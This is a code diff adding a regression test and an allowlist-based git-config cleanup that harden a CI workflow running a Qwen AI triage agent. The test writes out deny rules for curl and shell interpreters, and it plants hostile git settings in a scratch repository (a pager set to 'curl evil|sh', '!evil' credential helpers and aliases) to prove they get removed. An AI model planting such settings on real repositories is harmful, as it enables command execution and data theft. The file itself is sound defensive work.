diff --git a/.github/scripts/qwen-triage-workflow.test.mjs b/.github/scripts/qwen-triage-workflow.test.mjs new file mode 100644 index 00000000000..b9bd292dd4a --- /dev/null +++ b/.github/scripts/qwen-triage-workflow.test.mjs @@ -0,0 +1,215 @@ +// Regression guards for the security-critical invariants of the Qwen Triage +// workflow. These broke silently once already: the `settings_json:` input name +// was wrong (the action reads `settings:`), so it was dropped and the review +// agent ran with the full default toolset and no deny list. A future edit that +// renames the key back, weakens the deny list, loosens the fork-PR runner +// routing, or breaks the git exec-vector cleanup would have no other test to +// catch it — this file is that test. +import assert from 'node:assert/strict'; +import { spawnSync } from 'node:child_process'; +import { mkdtempSync, readFileSync, rmSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import { dirname, join } from 'node:path'; +import { after, before, describe, it } from 'node:test'; +import { fileURLToPath } from 'node:url'; +import { parse } from 'yaml'; + +const workflowPath = join( + dirname(fileURLToPath(import.meta.url)), + '..', + 'workflows', + 'qwen-triage.yml', +); +const doc = parse(readFileSync(workflowPath, 'utf8')); +const triageJob = doc.jobs.triage; +const steps = triageJob.steps; +const triageStep = steps.find((s) => s.id === 'triage'); +const cleanStep = steps.find((s) => s.name === 'Clean stale agent state'); + +describe('qwen-triage: agent tool/permission settings', () => { + it('passes `settings:` (not the silently-dropped `settings_json:`)', () => { + assert.ok(triageStep, 'triage step (id: triage) must exist'); + assert.ok( + typeof triageStep.with.settings === 'string', + 'triage step must pass a `settings` string', + ); + assert.equal( + triageStep.with.settings_json, + undefined, + '`settings_json` is silently ignored by the action — never use it', + ); + }); + + it('settings is valid JSON that restricts the toolset', () => { + const settings = JSON.parse(triageStep.with.settings); + const core = settings.tools?.core; + assert.ok(Array.isArray(core), 'tools.core must be an array (registration allowlist)'); + for (const t of [ + 'run_shell_command', + 'read_file', + 'grep_search', + 'glob', + 'write_file', + 'agent', + 'enter_worktree', + 'exit_worktree', + ]) { + assert.ok(core.includes(t), `tools.core must include ${t}`); + } + // The whitelist exists to drop network/persistence tools an injected agent + // could exfiltrate through — they must not be registered. + for (const forbidden of ['web_fetch', 'web_search', 'save_memory']) { + assert.ok( + !core.includes(forbidden), + `tools.core must NOT register ${forbidden}`, + ); + } + }); + + it('settings denies interpreters, network, and PR-code-materializing git/gh', () => { + const deny = JSON.parse(triageStep.with.settings).permissions?.deny ?? []; + for (const d of [ + 'run_shell_command(node)', + 'run_shell_command(npm)', + 'run_shell_command(bash)', + 'run_shell_command(curl)', + 'run_shell_command(git fetch)', + 'run_shell_command(git checkout)', + 'run_shell_command(gh pr checkout)', + ]) { + assert.ok(deny.includes(d), `permissions.deny must include ${d}`); + } + // No sandbox key: the ECS pool ships no container runtime, and adding one + // would silently disable the step. + assert.equal( + JSON.parse(triageStep.with.settings).sandbox, + undefined, + 'settings must not set a sandbox key', + ); + }); +}); + +describe('qwen-triage: fork-PR runner routing', () => { + const runsOn = String(triageJob['runs-on']); + + it('gates the persistent ECS pool on same-repo (fork code never persists)', () => { + assert.match(runsOn, /head\.repo\.full_name == github\.repository/); + assert.match(runsOn, /ecs-qwen/); + }); + + it('falls back to an ephemeral hosted runner', () => { + assert.match(runsOn, /ubuntu-latest/); + }); + + it('keeps issue triage on ECS (issues carry no foreign code)', () => { + assert.match(runsOn, /github\.event_name == 'issues'/); + }); +}); + +describe('qwen-triage: git exec-vector cleanup', () => { + it('exists and uses a keep-known-safe allowlist (invert-match), not a denylist', () => { + assert.ok(cleanStep, "'Clean stale agent state' step must exist"); + assert.match(cleanStep.run, /git config --local --name-only --list/); + assert.match(cleanStep.run, /grep -ivE/, 'must invert-match an allowlist'); + assert.match(cleanStep.run, /--unset-all/); + }); + + it('sweeps symlinked hooks, not just regular files', () => { + assert.match( + cleanStep.run, + /-type f\s+-o\s+-type l/, + 'hook find must match -type f OR -type l (a symlinked hook survives a bare -type f)', + ); + }); + + // Behavioral test: run the workflow's *actual* allowlist pattern (extracted + // from the step) against a scratch repo. Proves the regex both unsets exec + // vectors and preserves the plumbing actions/checkout needs — a broken + // pattern (e.g. accidentally allowing `filter.`, or dropping `remote.`) fails + // here even though the structural assertions above still pass. + describe('allowlist behavior (workflow pattern, real git)', () => { + const patternMatch = cleanStep.run.match(/grep -ivE '([^']+)'/); + let dir; + + before(() => { + assert.ok( + patternMatch, + 'clean step must contain a single-quoted `grep -ivE` allowlist', + ); + dir = mkdtempSync(join(tmpdir(), 'triage-cfg-')); + const set = (k, v) => + spawnSync('git', ['-C', dir, 'config', '--local', k, v]); + spawnSync('git', ['-C', dir, 'init', '-q']); + // plumbing actions/checkout needs (must survive) + set('core.repositoryformatversion', '0'); + set('remote.origin.url', 'https://github.com/x/y'); + set('remote.origin.fetch', '+refs/heads/*:refs/remotes/origin/*'); + set('branch.main.remote', 'origin'); + set('safe.directory', dir); + set('submodule.s.url', 'https://github.com/x/s'); + // exec vectors across every family (must be unset) + set('core.hooksPath', '/evil'); + set('core.pager', 'curl evil|sh'); + set('core.fsmonitor', '/evil'); + set('filter.lfs.process', 'evil'); + set('url.https://evil/.insteadOf', 'https://github.com/'); + set('credential.helper', '!evil'); + set('includeIf.gitdir:/x/.path', '/evil'); + set('include.path', '/evil'); + set('alias.st', '!evil'); + set('submodule.s.update', '!cmd'); + set('sequence.editor', 'evil'); + set('diff.external', 'evil'); + // apply the workflow's own pipeline (real grep + git, not a JS re-impl) + const script = + 'git config --local --name-only --list 2>/dev/null ' + + `| grep -ivE '${patternMatch[1]}' ` + + '| while IFS= read -r key; do git config --local --unset-all "$key" 2>/dev/null || true; done'; + const res = spawnSync('bash', ['-c', script], { + cwd: dir, + encoding: 'utf8', + env: { ...process.env, GIT_DIR: join(dir, '.git') }, + }); + assert.equal(res.status, 0, res.stderr); + }); + + after(() => dir && rmSync(dir, { recursive: true, force: true })); + + const remaining = () => + spawnSync('git', ['-C', dir, 'config', '--local', '--name-only', '--list'], { + encoding: 'utf8', + }).stdout.toLowerCase(); + + for (const vec of [ + 'hookspath', + 'core.pager', + 'fsmonitor', + 'filter.', + 'url.https', + 'credential', + 'includeif', + 'include.path', + 'alias.', + 'submodule.s.update', + 'sequence.editor', + 'diff.external', + ]) { + it(`unsets exec vector: ${vec}`, () => { + assert.doesNotMatch(remaining(), new RegExp(vec.replace(/\./g, '\\.'))); + }); + } + + for (const kept of [ + 'core.repositoryformatversion', + 'remote.origin.url', + 'remote.origin.fetch', + 'branch.main.remote', + 'safe.directory', + 'submodule.s.url', + ]) { + it(`preserves checkout plumbing: ${kept}`, () => { + assert.match(remaining(), new RegExp(kept.replace(/\./g, '\\.'))); + }); + } + }); +}); diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 3e020111a20..f3c54db1387 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -50,7 +50,7 @@ env: # BOTH the github_ci_only helper step and the full-profile Test step, so a # new helper test can't be added to one path and silently dropped from the # other. - HELPER_TESTS: '.github/scripts/pr-safety-precheck.test.mjs .github/scripts/ci/classify-profile.test.mjs .github/scripts/classify-release-notes.test.mjs .github/scripts/resolve-sandbox-image.test.mjs .github/scripts/web-shell-visuals-publish.test.mjs .github/scripts/web-shell-visuals-compose.test.mjs .github/scripts/serve-ab-diff.test.mjs' + HELPER_TESTS: '.github/scripts/pr-safety-precheck.test.mjs .github/scripts/ci/classify-profile.test.mjs .github/scripts/classify-release-notes.test.mjs .github/scripts/resolve-sandbox-image.test.mjs .github/scripts/web-shell-visuals-publish.test.mjs .github/scripts/web-shell-visuals-compose.test.mjs .github/scripts/serve-ab-diff.test.mjs .github/scripts/qwen-triage-workflow.test.mjs' jobs: classify_pr: diff --git a/.github/workflows/qwen-triage.yml b/.github/workflows/qwen-triage.yml index 2cdb25cc625..6b07aca516e 100644 --- a/.github/workflows/qwen-triage.yml +++ b/.github/workflows/qwen-triage.yml @@ -248,23 +248,24 @@ jobs: exit 0 fi # Neutralize git exec vectors a prior run could have planted in the - # persistent workspace: local config knobs that make a later git - # invocation run a command, and hook scripts. The knobs span several - # families — hooksPath/fsmonitor, the pager/editor/diff.external/ - # sshCommand that fire on the plain `git log`/`diff`/`show` triage - # runs, filter.*.{clean,smudge,process} (run on checkout via - # .gitattributes), credential.helper, url.*.insteadOf, init.templateDir, - # aliases, and include/includeIf which pull any of them back in from an - # arbitrary file. Enumerate the actual keys and --unset-all each: - # --remove-section cannot target an includeIf subsection like - # [includeIf "gitdir:…"] (it errors "no such section" and the `|| true` - # hides it), but unsetting the resolved key removes it. This is a - # best-effort denylist for defense-in-depth (the `run_shell_command(git - # config)` deny rule already stops the current run from planting these); - # a keep-known-safe config allowlist is the exhaustive end-state, tracked - # with the workflow-test-harness follow-up since it needs a checkout test. + # persistent workspace's local config, plus hook scripts. A later git + # command runs an attacker command via any of a long, open-ended set of + # knobs — core.{hooksPath,fsmonitor,pager,editor,sshCommand}, + # sequence.editor, diff.external, filter.*.{clean,smudge,process}, + # credential.helper, url.*.insteadOf, init.templateDir, aliases, and + # include/includeIf which pull any of them in from an arbitrary file. + # Rather than denylist each family (which kept missing new ones), KEEP + # a known-safe allowlist and --unset-all everything else: this closes + # the whole class, including knobs not yet enumerated. The kept set is + # only plumbing that carries no command — repo format, remote, branch, + # fetch/gc/pack/index, safe.directory, extensions, and submodule + # url/active/branch (NOT submodule.*.update, which can be `!cmd`). + # actions/checkout re-establishes remote/auth/fetch afterward, and it + # overwrites remote.origin.url, so a planted `ext::` transport URL kept + # here is replaced before any fetch. --unset-all handles resolved + # includeIf subsections that --remove-section cannot target. git config --local --name-only --list 2>/dev/null \ - | grep -iE '^(core\.(hookspath|fsmonitor|pager|editor|sshcommand)|sequence\.editor|diff\.external|filter\.|credential\.|url\.|init\.templatedir|pager\.|alias\.|include\.|includeif\.)' \ + | grep -ivE '^(core\.(repositoryformatversion|bare|filemode|symlinks|ignorecase|precomposeunicode|logallrefupdates|worktree|hidedotfiles|protecthfs|protectntfs)|remote\.|branch\.|extensions\.|gc\.|pack\.|fetch\.|index\.|safe\.|submodule\.[^.]+\.(url|active|branch))' \ | while IFS= read -r key; do git config --local --unset-all "$key" 2>/dev/null || true; done HOOKS_DIR="$(git rev-parse --git-path hooks 2>/dev/null || echo .git/hooks)" # Match -type f OR -type l: a symlinked hook (e.g. post-checkout ->